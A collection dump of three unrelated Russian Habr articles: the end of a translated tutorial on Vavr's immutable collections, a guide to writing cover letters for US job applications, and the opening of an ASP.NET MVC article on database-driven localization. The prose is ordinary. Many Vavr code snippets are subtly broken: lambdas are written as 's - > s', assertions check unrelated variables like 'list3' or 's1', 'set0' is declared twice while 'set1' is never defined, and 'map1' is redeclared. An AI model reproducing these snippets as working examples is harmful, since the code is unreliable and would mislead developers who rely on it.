`dropUntil()` удаляет элементы из списка до тех пор, пока предикат не станет равен `true`, в то время как `dropWhile()` удаляет элементы, пока предикат равен `true`.
Также есть методы `dropRightWhile()` и `dropRightUntil()`, которые удаляют элементы, начиная справа.
Далее, `take(int n)` используется для извлечения элементов из списка. Он берет `n` элементов из списка, а затем останавливается. Существует также `takeRight(int n)`, который берет элементы, начиная с конца списка:
```
List list5 = list.take(1);
assertEquals(list5.single(), "Java");
List list6 = list.takeRight(1);
assertEquals(list5.single(), "Java");
List list7 = list.takeUntil(s - > s.length() > 6);
assertEquals(list3.size(), 3);
```
Наконец, `takeUntil()` берет элементы из списка до тех пор, пока предикат не станет равен `true`. Существует вариант `takeWhile()`, который также принимает аргумент-предикат.
Кроме того, в API есть и другие полезные методы, например, даже `distinct()`, который возвращает список элементов с удаленными дубликатами, а также `distinctBy()`, который принимает `Comparator` для определения равенства.
Очень интересно, что также есть `intersperse()`, который вставляет элемент между каждым элементом списка. Это может быть очень удобно для операций со `String`:
```
List list8 = list
.distinctBy((s1, s2) - > s1.startsWith(s2.charAt(0) + "") ? 0 : 1);
assertEquals(list3.size(), 2);
String words = List.of("Boys", "Girls")
.intersperse("and")
.reduce((s1, s2) - > s1.concat(" " + s2))
.trim();
assertEquals(words, "Boys and Girls");
```
Хотите разделить список на категории? И для этого есть API:
```
Iterator < List < String >> iterator = list.grouped(2);
assertEquals(iterator.head().size(), 2);
Map < Boolean, List < String >> map = list.groupBy(e - > e.startsWith("J"));
assertEquals(map.size(), 2);
assertEquals(map.get(false).get().size(), 1);
assertEquals(map.get(true).get().size(), 5);
```
Метод `group(int n)` разделяет `List` на группы из `n` элементов каждая. Метод `groupdBy()` принимает `Function`, содержащую логику разделения списка и возвращает `Map` с двумя элементами: `true` и `false`.
Ключ `true` мапится на `List` элементов, удовлетворяющих условию, указанному в `Function`. Ключ `false` мапится на `List` элементов, не удовлетворяющих этому условию.
Как и ожидалось, при изменении `List`, исходный `List` на самом деле не изменяется. Вместо этого всегда возвращается новая версия `List`.
Мы также можем взаимодействовать с `List`, используя семантику стека — извлечение элементов по принципу «последним вошел, первым вышел» (LIFO). В этом смысле, для манипулирования стеком существуют такие методы API, как `peek()`, `pop()` и `push()`:
```
List < Integer > intList = List.empty();
List < Integer > intList1 = intList.pushAll(List.rangeClosed(5, 10));
assertEquals(intList1.peek(), Integer.valueOf(10));
List intList2 = intList1.pop();
assertEquals(intList2.size(), (intList1.size() - 1));
```
Функция `pushAll()` используется для вставки диапазона целых чисел в стек, а функция `peek()` — для извлечения головного элемента стека. Существует также метод `peekOption()`, который может обернуть (wrap) результат в объект `Option`.
В интерфейсе `List` есть и другие интересные и действительно полезные методы, которые тщательно задокументированы в [Java docs](https://static.javadoc.io/io.vavr/vavr/0.9.0/io/vavr/collection/List.html).
### 4.2. Queue
Неизменяемая (immutable) `Queue` хранит элементы, позволяя извлекать их по принципу FIFO (первым вошел, первым вышел).
`Queue` внутри состоит из двух связанных списков: переднего `List` и заднего `List`. Передний `List` содержит элементы, удаляемые из очереди, а задний `List` — элементы, поставленные в очередь.
Это позволяет привести операции постановки в очередь и удаления из очереди к сложности **O(1)**. Когда при удалении из очереди в переднем `List` заканчиваются элементы, задний `List` реверсируется и становится новым передним `List`.
Давайте создадим очередь:
```
Queue < Integer > queue = Queue.of(1, 2);
Queue < Integer > secondQueue = queue.enqueueAll(List.of(4, 5));
assertEquals(3, queue.size());
assertEquals(5, secondQueue.size());
Tuple2 < Integer, Queue < Integer >> result = secondQueue.dequeue();
assertEquals(Integer.valueOf(1), result._1);
Queue < Integer > tailQueue = result._2;
assertFalse(tailQueue.contains(secondQueue.get(0)));
```
Функция `dequeue()` удаляет головной элемент из `Queue` и возвращает `Tuple2`. Первым элементом кортежа является головной элемент, удаленный из очереди, вторым элементом кортежа являются оставшиеся элементы `Queue`.
Мы можем использовать `combination(n)`, чтобы получить все возможные `N` комбинаций элементов в `Queue`:
```
Queue < Queue < Integer >> queue1 = queue.combinations(2);
assertEquals(queue1.get(2).toCharSeq(), CharSeq.of("23"));
```
Снова видно, что исходная `Queue` не изменяется во время добавления/удаления элементов из очереди.
### 4.3. Stream
`Stream` — это реализация лениво-связанного списка, который значительно отличается от `java.util.stream`. В отличие от `java.util.stream`, `Stream` Vavr хранит данные и лениво вычисляет последующие элементы.
Допустим, у нас есть `Stream` целых чисел:
```
Stream < Integer > s = Stream.of(2, 1, 3, 4);
```
При печати результата `s.toString()` в консоли будет отображаться только **Stream(2, ?)**. Это означает, что был вычислен только головной элемент `Stream`, в то время как хвостовые элементы нет.
Вызов `s.get(3)` и последующее отображение результата `s.tail()` возвращает **Stream(1, 3, 4, ?)**. Напротив, если не вызвать первым `s.get(3)` — что заставит `Stream` вычислить последний элемент — результатом `s.tail()` будет только **Stream(1, ?)**. Это означает, что был вычислен только первый элемент хвоста.
Такое поведение может улучшить производительность и позволяет использовать `Stream` для представления последовательностей, которые (теоретически) бесконечно длинны.
`Stream` в Vavr является неизменяемым и может быть `Empty` или `Cons`. `Cons` состоит из головного элемента и лениво вычисляемого хвоста `Stream`. В отличие от `List`, `Stream` хранит в памяти только головной элемент. Хвостовые элементы вычисляются по необходимости.
Давайте создадим `Stream` из 10 положительных целых чисел и вычислим сумму четных чисел:
```
Stream < Integer > intStream = Stream.iterate(0, i - > i + 1)
.take(10);
assertEquals(10, intStream.size());
long evenSum = intStream.filter(i - > i % 2 == 0)
.sum()
.longValue();
assertEquals(20, evenSum);
```
В отличие от `Stream` API из Java 8, `Stream` в Vavr — это структура данных для хранения последовательности элементов.
Поэтому, у него есть такие методы, как `get()`, `append()`, `insert()` и другие для манипулирования его элементами. Также доступны `drop()`, `distinct()` и некоторые другие методы, рассмотренные ранее.
Наконец, давайте быстро продемонстрируем `tabulate()` в `Stream`. Этот метод возвращает `Stream` длиной `n`, содержащий элементы, являющиеся результатом применения функции:
```
Stream < Integer > s1 = Stream.tabulate(5, (i) - > i + 1);
assertEquals(s1.get(2).intValue(), 3);
```
Мы также можем использовать `zip()` для создания `Stream` из `Tuple2`, который содержит элементы, образованные путем комбинирования двух `Stream`:
```
Stream < Integer > s = Stream.of(2, 1, 3, 4);
Stream < Tuple2 < Integer, Integer >> s2 = s.zip(List.of(7, 8, 9));
Tuple2 < Integer, Integer > t1 = s2.get(0);
assertEquals(t1._1().intValue(), 2);
assertEquals(t1._2().intValue(), 7);
```
### 4.4. Array
`Array` — это неизменяемая индексированная последовательность, обеспечивающая эффективный произвольный доступ. Он основан на Java **массиве** объектов. По сути, это `Traversable` оболочка для массива объектов типа `T`.
Можно создать экземпляр `Array` с помощью статического метода `of()`. Кроме того, можно создать диапазон элементов с помощью статических методов `range()` и `rangeBy()`. Метод `rangeBy()` имеет третий параметр, который позволяет определить шаг.
Методы `range()` и `rangeBy()` будут создавать элементы, начиная только с начального значения до конечного значения минус один. Если нам нужно включить конечное значение, можно использовать `rangeClosed()` или `rangeClosedBy()`:
```
Array < Integer > rArray = Array.range(1, 5);
assertFalse(rArray.contains(5));
Array < Integer > rArray2 = Array.rangeClosed(1, 5);
assertTrue(rArray2.contains(5));
Array < Integer > rArray3 = Array.rangeClosedBy(1, 6, 2);
assertEquals(list3.size(), 3);
```
Давайте поработаем с элементами с использованием индекса:
```
Array < Integer > intArray = Array.of(1, 2, 3);
Array < Integer > newArray = intArray.removeAt(1);
assertEquals(3, intArray.size());
assertEquals(2, newArray.size());
assertEquals(3, newArray.get(1).intValue());
Array < Integer > array2 = intArray.replace(1, 5);
assertEquals(s1.get(0).intValue(), 5);
```
### 4.5. Vector
`Vector` — это что-то среднее между `Array` и `List`, предоставляющее другую индексированную последовательность элементов, позволяющую осуществлять и произвольный доступ, и модификацию за константное время:
```
Vector < Integer > intVector = Vector.range(1, 5);
Vector < Integer > newVector = intVector.replace(2, 6);
assertEquals(4, intVector.size());
assertEquals(4, newVector.size());
assertEquals(2, intVector.get(1).intValue());
assertEquals(6, newVector.get(1).intValue());
```
### 4.6. CharSeq
`CharSeq` — это объект-коллекция для представления последовательности примитивных символов. По сути — это оболочка для `String` с добавлением операций коллекции.
Чтобы создать `CharSeq` необходимо выполнить следующее.
```
CharSeq chars = CharSeq.of("vavr");
CharSeq newChars = chars.replace('v', 'V');
assertEquals(4, chars.size());
assertEquals(4, newChars.size());
assertEquals('v', chars.charAt(0));
assertEquals('V', newChars.charAt(0));
assertEquals("Vavr", newChars.mkString());
```
5. Set
------
В этом разделе рассматриваются различные реализации `Set` в библиотеке коллекций. Уникальная особенность структуры данных `Set` заключается в том, что она не допускает повторяющихся значений.
Существуют различные реализации `Set`. Основная из них — `HashSet`. `TreeSet` не допускает повторяющихся элементов и может быть отсортирован. `LinkedHashSet` сохраняет порядок вставки элементов.
Давайте рассмотрим более подробно эти реализации одну за другой.
### 5.1. HashSet
`HashSet` имеет статические фабричные методы для создания новых экземпляров. Некоторые из которых мы изучили ранее в этой статье, например `of()`, `ofAll()` и вариации методов `range()`.
Разницу между двумя **set** можно получить с помощью метода `diff()`. Также, методы `union()` и `intersect()` возвращают объединение и пересечение двух **set**:
```
HashSet < Integer > set0 = HashSet.rangeClosed(1, 5);
HashSet < Integer > set0 = HashSet.rangeClosed(1, 5);
assertEquals(set0.union(set1), HashSet.rangeClosed(1, 6));
assertEquals(set0.diff(set1), HashSet.rangeClosed(1, 2));
assertEquals(set0.intersect(set1), HashSet.rangeClosed(3, 5));
```
Мы также можем выполнять основные операции, такие как добавление и удаление элементов:
```
HashSet < String > set = HashSet.of("Red", "Green", "Blue");
HashSet < String > newSet = set.add("Yellow");
assertEquals(3, set.size());
assertEquals(4, newSet.size());
assertTrue(newSet.contains("Yellow"));
```
Реализация `HashSet` основана на **Hash array mapped trie (HAMT)**, которая может похвастаться превосходной производительностью по сравнению с обычной `HashTable` и ее структура делает ее подходящей для поддержки персистентных коллекций.
### 5.2. TreeSet
Неизменяемый `TreeSet` является реализацией интерфейса `SortedSet`. Он хранит набор отсортированных элементов и реализуется с применением бинарных деревьев поиска. Все его операции выполняются за время **O(log n)**.
По умолчанию элементы `TreeSet` сортируются в их натуральном порядке.
Давайте создадим `SortedSet` используя натуральный порядок сортировки:
```
SortedSet < String > set = TreeSet.of("Red", "Green", "Blue");
assertEquals("Blue", set.head());
SortedSet < Integer > intSet = TreeSet.of(1, 2, 3);
assertEquals(2, intSet.average().get().intValue());
```
Чтобы упорядочить элементы кастомным образом, передайте экземпляр `Comparator` при создании `TreeSet`. Можно также создать строку из набора элементов:
```
SortedSet < String > reversedSet = TreeSet.of(Comparator.reverseOrder(), "Green", "Red", "Blue");
assertEquals("Red", reversedSet.head());
String str = reversedSet.mkString(" and ");
assertEquals("Red and Green and Blue", str);
```
### 5.3. BitSet
В коллекциях Vavr также присутствует неизменяемая реализация `BitSet`. Интерфейс `BitSet` расширяет интерфейс `SortedSet`. `BitSet` можно создать с помощью статических методов в `BitSet.Builder`.
Как и в других реализациях структуры данных `Set`, `BitSet` не позволяет добавлять в набор повторяющиеся записи.
Он наследует методы для манипулирования из интерфейса `Traversable`. Обратите внимание, что он отличается от `java.util.BitSet` из стандартной библиотеки Java. Данные `BitSet` не могут содержать значения `String`.
Рассмотрим создание экземпляра `BitSet` с использованием фабричного метода `of()`:
```
BitSet < Integer > bitSet = BitSet.of(1, 2, 3, 4, 5, 6, 7, 8);
BitSet < Integer > bitSet1 = bitSet.takeUntil(i - > i > 4);
assertEquals(list3.size(), 4);
```
Для выбора первых четырех элементов `BitSet` мы использовали команду `takeUntil()`. Операция вернула новый экземпляр. Обратите внимание, что метод `takeUntil()` определен в интерфейсе `Traversable`, который является родительским интерфейсом для `BitSet`.
Другие методы и операции, описанные выше, определенные в интерфейсе `Traversable`, также применимы к `BitSet`.
6. Map
------
`Map` — это структура данных «ключ-значение». `Map` в Vavr является неизменяемой и имеет реализации для `HashMap`, `TreeMap` и `LinkedHashMap`.
Как правило, контракты **map** не допускают дублирование ключей, в то время как повторяющиеся значения, сопоставленные с различными ключами, могут быть.
### 6.1. HashMap
`HashMap` — это реализация неизменяемого интерфейса `Map`. Он хранит пары «ключ-значение», используя хэш-код ключей.
`Map` в Vavr использует `Tuple2` для представления пар «ключ-значение» вместо традиционного типа `Entry`:
```
Map < Integer, List < Integer >> map = List.rangeClosed(0, 10)
.groupBy(i - > i % 2);
assertEquals(2, map.size());
assertEquals(6, map.get(0).get().size());
assertEquals(5, map.get(1).get().size());
```
Как и `HashSet`, реализация `HashMap` основана на **Hash array mapped trie (HAMT)**, что приводит к константному времени почти для всех операций.
Элементы **map** можно фильтровать по ключам с помощью метода `filterKeys()` или по значениям с помощью метода `filterValues()`. Оба метода принимают `Predicate` в качестве аргумента:
```
Map < String, String > map1 =
HashMap.of("key1", "val1", "key2", "val2", "key3", "val3");
Map < String, String > fMap =
map1.filterKeys(k - > k.contains("1") || k.contains("2"));
assertFalse(fMap.containsKey("key3"));
Map < String, String > map1 =
map1.filterValues(v - > v.contains("3"));
assertEquals(list3.size(), 1);
assertTrue(fMap2.containsValue("val3"));
```
Также можно преобразовать элементы **map** с помощью метода `map()`. Давайте, например, преобразуем **map1** в `Map`:
```
Map < String, Integer > map2 = map1.map(
(k, v) - > Tuple.of(k, Integer.valueOf(v.charAt(v.length() - 1) + "")));
assertEquals(map2.get("key1").get().intValue(), 1);
```
### 6.2. TreeMap
Неизменяемая `TreeMap` является реализацией интерфейса `SortedMap`. Как и в случае `TreeSet`, для кастомной сортировки элементов `TreeMap` используется экземпляр `Comparator`.
Продемонстрируем создание `SortedMap`:
```
SortedMap < Integer, String > map = TreeMap.of(3, "Three", 2, "Two", 4, "Four", 1, "One");
assertEquals(1, map.keySet().toJavaArray()[0]);
assertEquals("Four", map.get(4).get());
```
По умолчанию, записи `TreeMap` сортируются в натуральном порядке ключей. Однако, можно указать `Comparator`, который будет использоваться для сортировки:
```
TreeMap < Integer, String > treeMap2 =
TreeMap.of(Comparator.reverseOrder(), 3, "three", 6, "six", 1, "one");
assertEquals(treeMap2.keySet().mkString(), "631");
```
Как и в случае `TreeSet`, реализация `TreeMap` также создана с применением дерева, следовательно, его операции имеют время **O(log n)**. Метод `map.get(key)` возвращает `Option`, который содержит значение указанного ключа **map**.
7. Совместимость с Java
-----------------------
API коллекций Vavr полностью совместим с фреймворком коллекций Java. Посмотрим, как это делается на практике.
### 7.1. Преобразование из Java в Vavr
Каждая реализация коллекции в Vavr имеет статический фабричный метод `ofAll()`, который принимает `java.util.Iterable`. Это позволяет создать коллекцию **Vavr** из коллекции **Java**. Аналогично, другой фабричный метод `ofAll()` принимает непосредственно Java `Stream`.
Чтобы преобразовать `List` Java в неизменяемый `List` :
```
java.util.List < Integer > javaList = java.util.Arrays.asList(1, 2, 3, 4);
List < Integer > vavrList = List.ofAll(javaList);
java.util.stream.Stream < Integer > javaStream = javaList.stream();
Set < Integer > vavrSet = HashSet.ofAll(javaStream);
```
Другой полезной функцией является `collector()`, который можно использовать совместно с `Stream.collect()` для получения коллекции Vavr:
```
List < Integer > vavrList = IntStream.range(1, 10)
.boxed()
.filter(i - > i % 2 == 0)
.collect(List.collector());
assertEquals(4, vavrList.size());
assertEquals(2, vavrList.head().intValue());
```
### 7.2. Преобразование из Vavr в Java
Интерфейс `Value` имеет множество методов для преобразования из типа **Vavr** в тип **Java**. Эти методы имеют формат `toJavaXXX()`.
Рассмотрим пару примеров:
```
Integer[] array = List.of(1, 2, 3)
.toJavaArray(Integer.class);
assertEquals(3, array.length);
java.util.Map < String, Integer > map = List.of("1", "2", "3")
.toJavaMap(i - > Tuple.of(i, Integer.valueOf(i)));
assertEquals(2, map.get("2").intValue());
```
Также мы можем использовать Java 8 `Collectors` для сбора элементов из коллекций Vavr:
```
java.util.Set < Integer > javaSet = List.of(1, 2, 3)
.collect(Collectors.toSet());
assertEquals(3, javaSet.size());
assertEquals(1, javaSet.toArray()[0]);
```
### 7.3. Представления Коллекций Java
Кроме того, библиотека предоставляет так называемые **представления коллекций**, которые работают лучше при преобразовании в коллекции Java. Методы преобразования, приведенные в предыдущем разделе, перебирают (итерируют) все элементы для создания коллекции Java.
Представления, с другой стороны, реализуют стандартные интерфейсы Java и делегируют вызовы методов базовой коллекции Vavr.
На момент написания этой статьи поддерживается только представление `List`. Каждая последовательная коллекция имеет два метода: один для создания неизменяемого представления, другой для изменяемого.
Вызов методов для изменения на неизменяемом представлении приводит к исключению `UnsupportedOperationException`.
Давайте рассмотрим пример:
```
@Test(expected = UnsupportedOperationException.class)
public void givenVavrList_whenViewConverted_thenException() {
java.util.List < Integer > javaList = List.of(1, 2, 3)
.asJava();
assertEquals(3, javaList.get(2).intValue());
javaList.add(4);
}
```
Чтобы создать неизменяемое представление:
```
java.util.List < Integer > javaList = List.of(1, 2, 3)
.asJavaMutable();
javaList.add(4);
assertEquals(4, javaList.get(3).intValue());
```
8. Выводы
---------
В этом уроке мы узнали о различных функциональных структурах данных, предоставляемых API Коллекций Vavr. Есть еще полезные и производительные методы API, которые можно найти в [Java doc](https://static.javadoc.io/io.vavr/vavr/0.9.0/io/vavr/collection/package-frame.html) и [руководстве пользователя](http://www.vavr.io/vavr-docs/) коллекций Vavr.
Наконец, важно отметить, что библиотека также определяет `Try`, `Option`, `Either` и `Future`, которые расширяют интерфейс `Value` и, как следствие, реализуют интерфейс Java `Iterable`. Это означает, что в некоторых ситуациях они могут вести себя, как коллекции.
Полный исходный код для всех примеров в этой статье можно найти на [Github](https://github.com/eugenp/tutorials/tree/master/vavr/src/test/java/com/baeldung/vavr/collections).
Дополнительные материалы:
[habr.com/ru/post/421839](https://habr.com/ru/post/421839)
[www.baeldung.com/vavr](https://www.baeldung.com/vavr)
Перевел **[@middle\_java](http://tele.gg/middle_java)** | https://habr.com/ru/post/474402/ | null | ru | null |
# Как написать сопроводительное письмо при поиске работы в США: 7 советов
[](https://habr.com/ru/post/451600/)
На протяжение многих лет в США была распроcтранена практика требовать претендентов на различные вакансии не только резюме, но еще и сопроводительное письмо (cover letter). В последние годы важность этого аспекта начала снижаться – уже в 2016 году сопроводительные письма требовали только [около 30%](https://www.careerbuilder.com/advice/new-study-shows-job-seekers-what-hiring-managers-really-want) работодателей. Это нетрудно объяснить – у HR-специалистов, проводящий первоначальный скрининг, обычно слишком мало времени, чтобы читать письма, на анализ самих резюме по статистике уходит всего несколько секунд.
Однако, [опросы](https://www.monster.com/career-advice/article/do-you-still-need-a-cover-letter) показывают, что явление сопроводительного письма еще полностью не ушло в прошлое, особенно это касается позиций, связанных с креативом, где важен навык письма. Программист может найти работу и с одним резюме в виде прокачанного профиля на GitHub, а вот тестировщикам, аналитикам, маркетологам стоит уделить время составлению письма – их будут читать уже не «эйчары», а менеджеры, которые подбирают людей к себе в команду.
Я нашла интересный [пост](https://linguix.com/blog/how-to-write-a-good-cover-letter-seven-practical-tips/) о том, как сегодня следует подходить к написанию cover letter при поиске работы в США, и подготовила его адаптированный перевод.
Нужно использовать шаблон
-------------------------
Обычно при активном поиске работы и рассылке резюме довольно часто встречаются объявления, при отклике на которые требуется вставить или прикрепить сопроводительное письмо. Странный факт: хоть по статистике их читает меньше трети работодателей, требуют их прикрепить до 90% из них. Видимо, это рассматривается как показатель ответственного отношения соискателя и способа отфильтровать самых ленивых.
Но даже если вам и не лень писать cover letter, делать это с нуля десятки раз – слишком утомительно. Поэтому нужно использовать шаблон, в котором меняются только детали, связанные с конкретной позицией. Вот, как может выглядеть такой шаблон.
Обязательно включите заголовок
------------------------------
Чаще всего сопроводительное письмо можно прикрепить в виде вложения, поэтому будет не лишним хорошо его оформить. Для этого можно следовать нормам составления деловой корреспонденции, которые подразумевают наличие следующей информации:
* Имя;
* Номер телефона или email;
* Кому вы пишите (имя менеджера, если указано в вакансии/название компании);
* Ссылки на ваши профили в соцсетях/сайт.
Поскольку это деловая переписка, то стиль должен быть соответствующим. Если у вас нет своего домена, хотя бы используйте почтовые ящики с нейтральными названиями, всевозможные `sexydude1988@mail.com` не подойдут. Не стоит писать и с корпоративного ящика текущего работодателя, даже если сейчас вы работаете не в США – если ваше резюме будут изучать, то на этот сайт скорее всего зайдут и либо ничего не поймут и смутятся, либо поймут, и все будет выглядеть не очень корректно по отношению к текущему работодателю.
Используйте правило трех абзацев
--------------------------------
Главная задача сопроводительного письма – привлечь внимание к вашему резюме. То есть это вспомогательный инструмент, который не должен оттягивать на себя слишком много внимания, а значит делать его длинным не нужно. Трех абзацев будет более чем достаточно. Вот, о чем они могут быть:
* В первом абзаце важно попытаться захватить внимание читателя.
* Во втором – описать, что вы предлагаете.
* В завершение – закрепить произведенное впечатление.
Вот несколько примеров того, о чем конкретно можно написать в каждом разделе.
Введение: указание на подходящий опыт
-------------------------------------
По разным данным, на просмотр одного резюме рекрутеры тратят от [6,25 секунд](https://www.theladders.com/career-advice/you-only-get-6-seconds-of-fame-make-it-count) до [30 секунд](https://workalpha.com/can-your-resume-impress-in-30-seconds/). Ясно, что на сопроводительное письмо они также не готовы тратить много времени. Так что первый абзац оказывается самым важным.
Старайтесь избегать длинных и чрезмерно официальных предложений. Важно насытить абзац деталями, которые дадут понять, что вы – хороший выбор для этой конкретной вакансии.
**Плохо**:
> I am writing to you in response to the PR Manager job posting. I have 7+ years of experience in PR and would like to apply to this position. / Откликаюсь на вашу вакансию PR-менеджера. Обладаю более чем семилетним опытом в сфере PR, хотел бы предложить свою кандидатуру.
На первый взгляд этот пример нормальный. Но если вчитаться и поставить себя на место нанимающего менеджера, станет ясно, что можно было бы сделать текст гораздо лучше. К примеру, в нем нет вообще никаких деталей о том, почему конкретно этот кандидат подходит именно для этой работы. Ну да, у него более семи лет опыта, и что, брать его только потому, что он делал что-то, как он считает, похожее на описанные в вакансии задачи?
**Хорошо**:
> I am an active follower of XYZ company, and so I was excited to see your job posting for the PR Manager position. I'd like to put my knowledge and skills forward to help in reaching your public relations goals, and think I might be a good fit. While working at SuperCorp company I was responsible for nationwide PR activities working on getting the company mentioned in media outlets like Forbes, and overall reach through this channel has increased by 23% in six months.
>
>
>
> **Перевод**Я довольно активно слежу за вашей компанией, поэтому был рад узнать, что вы ищите PR-менеджера. Хотел бы помочь вам решить стоящие перед компанией на этом направлении задачи, убежден, что отлично справлюсь с этой работой. Я работал в компании SuperCorp и отвечал за PR на уровне всей страны, появление упоминаний бренда в СМИ уровня Forbes, и за шесть месяцев работы охват аудитории по данному каналу вырос на 23%.
>
>
Разница очевидна. Объем текста увеличился, но значительно возросла и информационная нагрузка. Показаны конкретные достижения в виде цифр, видно желание применить знания и опыт для решения новых задач. Любой работодатель должен это оценить.
Что потом: опишите выгоды сотрудничества
----------------------------------------
После первоначального привлечения внимания, нужно развить успех и дать еще больше деталей – для этого нужен второй абзац. В нем вы описываете, почему сотрудничество именно с вами принесет компании максимальную пользу.
В примере выше мы рассматривали сопроводительное письмо для отклика на вакансию PR-менеджера в компании XYZ. Организация может нуждаться в человеке, который:
Обладает большим опытом работы с различными СМИ, блогерами и блогами, работал с входящими запросами об обзорах продуктов и т.п.
Разбирается в технологиях, следит за трендами в этой сфере – ведь XYZ – стартап в сфере искусственного интеллекта.
Вот как можно отреагировать на эти задачи в сопроводительном письме:
> …
>
> At my current company SuperCorp, I am working on organizing and handling the PR support of new releases from planning to media outreach, and media relations to reporting. For example, this year my crucial challenge was to increase media coverage in top-tier technology-related publications (TechCrunch, VentureBeat, etc.) by 20%. By the end of the first quarter, the number of mentions in the media from the list had increased more than by 30%. Referral traffic now brings about 15% of overall website traffic (compared to 5% the year before).
>
>
>
> **Перевод**На моем текущем месте работы в SuperCorp, я занимаюсь PR-поддержкой новых продуктовых релизов, планирую кампании, занимаюсь отчетностью. Например, одна из самых важных задач в текущем году – увеличить число упоминаний в топовых технологических СМИ (TechCrunch, VentureBeat, etc.) на 20%. К концу первого квартала количество упоминаний в изданиях из списка выросло на 30%, а доля реферального трафика теперь составляет около 15% трафика на сайт (год назад показатель не превышал 5%).
В начале абзаца кандидат описал свои задачи на текущем месте, указал, что эта работа похожа на задачи, которые сейчас стоят перед новым работодателем, проиллюстрировал достижения цифрами. Важный момент: весь текст построен вокруг преимуществ для компании: более высокий охват аудитории топовых медиа, больше трафика и т.п. Когда нанимающий менеджер будет это читать, сразу поймет, что конкретно получит компания, если наймет именно этого специалиста.
Объясните, почему вы хотите именно эту работу
---------------------------------------------
Понятно, что не нужно сильно распыляться на тему «что вас привлекает в нашей компании», но хотя бы базово описать, что вас привлекает в задачах конкретной вакансии, все же не будет лишним. Сделать это можно с помощью трех шагов.
Упомянуть какое-то связанное с компанией событие, ее продукт или услугу.
Объяснить, почему вам это интересно, показать определенную степень погружения.
Еще раз подчеркнуть, как именно ваш опыт поможет повысить результаты по данному проекту/продукту.
Например:
> …
>
> I've read a lot about your new AI-based shopping recommendation app. I am interested in this project both from a personal (I am a passionate shopper) and professional perspective (It is always an exciting challenge to get a new project off the ground). I believe that my professional experience in media relations and a network of connections in online technology-related media will help in generating traction for the project.
>
>
>
> **Перевод**Я много читал по вашем приложении с рекомендациями для будущих покупок на основе AI. Проект мне нравится и как пользователю – часто хожу по магазинам, и как профессионалу – обожаю работать над продвижением только что запущенных продуктов. Я думаю, что мой опыт работы с топовыми СМИ и широкая сеть журналистских контактов в технологических СМИ пригодятся для привлечения новых пользователей.
Важно: все нужно перепроверять
------------------------------
Еще раз – сопроводительное письмо не должно быть длинным. К нему нужно применять правило 300 слов – все, что превышает этот лимит, следует сокращать.
Кроме того, необходимо избавиться от опечаток и грамматических ошибок. Для этого прогоните текст через специализированную программу.
Бонусный совет: постскриптум может быть полезен
-----------------------------------------------
Секция P.S. любого письма приковывает к себе внимание – это психологический момент. Даже если читатель просто скроллит текст, взгляд зацепится за постскриптум, поскольку на подсознательном уровне мы думаем, что в этой части сообщения будет что-то важное. Маркетологи это отлично знают и активно используют этот факт, например, в [email-рассылках](https://blog.hubspot.com/blog/tabid/6307/bid/16909/6-Awesome-Email-Marketing-Powers-of-the-P-S.aspx).
Применительно к составлению cover letter этот метод можно использовать для того, чтобы спровоцировать обратную связь, предложить помощь и т.п.
> P.S. If you are interested, I would be happy to share my ideas on getting into TechCrunch and Business Insider as well as attracting more leads around your new product based on my previous experience with SuperCorp.
>
>
>
> **Перевод**P.S. Если будет интересно, с радостью пришлю свои идеи по поводу того, как можно было бы организовать выход вашего продукта на TechCrunch или Business Insider, привлечь больше пользователей – все на основе опыта с SuperCorp.
Заключение: ошибки и советы
---------------------------
В заключение еще раз перечислим ошибки при составлении сопроводительных писем для отклика на вакансии американских компаний и способы их избежать.
* Фокусируйтесь не на себе, а на работодателе и плюсах, которые компания получит, если вас наймет.
* Используйте правило трех параграфов. Максимум можно добавить еще строчку P.S. Весь текст не должен превышать 300 слов.
* Используйте шаблон, в который добавляйте ключевые слова из вакансии, на которую откликаетесь, привязывайте описание достижений к указанным в объявлении задачам.
* Перепроверяйте все – попросите кого-то вычитать текст и прогоните его через софт для поиска опечаток и грамматических ошибок. | https://habr.com/ru/post/451600/ | null | ru | null |
# Локализация ASP.NET MVC приложения с помощью БД
Данная статья будет узконаправленной и покрывает локализацию через БД, поэтому подробно расписывать как делать локализацию с помощью файлов ресурсов (resx) можно посмотреть, например, тут: [MVC 2: Полное руководство по локализации](http://habrahabr.ru/post/86331/). Для локализации с помощью представлений я тоже там ссылки.
Для начала я кратко расскажу о вариантах локализации сайта, покажу пример создания своего ResourceProviderFactory, после чего создам небольшое приложение для демонстрации.
### Варианты локализации
Во многих обсуждениях и статьях упоминается лишь только два варианта локализации, например, статья [ASP.NET MVC 3 Internationalization](http://afana.me/post/aspnet-mvc-internationalization.aspx), на которую можно встретить множество ссылок выделяет следующие:
— Файлы ресурсов (resx)
— Использовать разные «Представления» (View)
Первый способ как правило применяется для статики: названий полей, валидации и прочего. Существенным минусом использования второго является, необходимость делать много ручной работы по копирования одного и того же кода, в случае, если нужно будет даже незначительно поменять верстку, также сложно представить структуру сайта с множеством языков, количество файлов будет огромным, иногда перевод разбивают по директориям, становится конечно нагляднее, но масштабируемость оставляет желать лучшего. В моём случае мне нужно было переводить динамический контент, который добавляется через админку, вариант редактирования resx файлов из админки я не рассматривал, но реализации Вы можете найти самостоятельно, как говорится затея на любителя, поэтому выделяем третий вариант:
— Локализация с помощью БД
Конечно же можно комбинировать все эти три варианта.
### Пример реализации
Сразу скажу, что я создаю пустой проект MVC 3, так как буду использовать Entity Framework Code First, переписывать Membership Provider в данной статье я не буду, пример как это делать можете посмотреть, например, тут: [Custom Membership Providers](http://www.codeproject.com/Articles/165159/Custom-Membership-Providers). Просто запомните, что «админка» будет общедоступна, конечно можно было реализовать авторизацию, через конфиг файл как это демонстрирует Стивен Сандерсон в своих книгах, но статья о другом.
Сделаем пародию на склад, у нас будет таблица продуктов с 4-мя полями:
-Идентификатор
-Имя продукта (его мы будем переводить с помощью БД)
-Цена (данное поле нам нужно для демонстрации проблем с валидацией при локализации)
-Дата привоза (аналогично предыдущему)
Следующим этапом создадим класс Product и установим атрибуты с помощью Data Annotations (если Вам не нравится такой вариант, то можете воспользоваться Fluent API, к которому в любом случае придётся обращаться в крупном проекте) и создадим DbContext:
```
public class Product
{
public int ProductId { get; set; }
[Required]
[StringLength(128)]
public string Name { get; set; }
[Required]
public decimal Price { get; set; }
[Required]
public DateTime ImportDate { get; set; }
}
public class ProductDbContext : DbContext
{
public DbSet Products { get; set; }
}
```
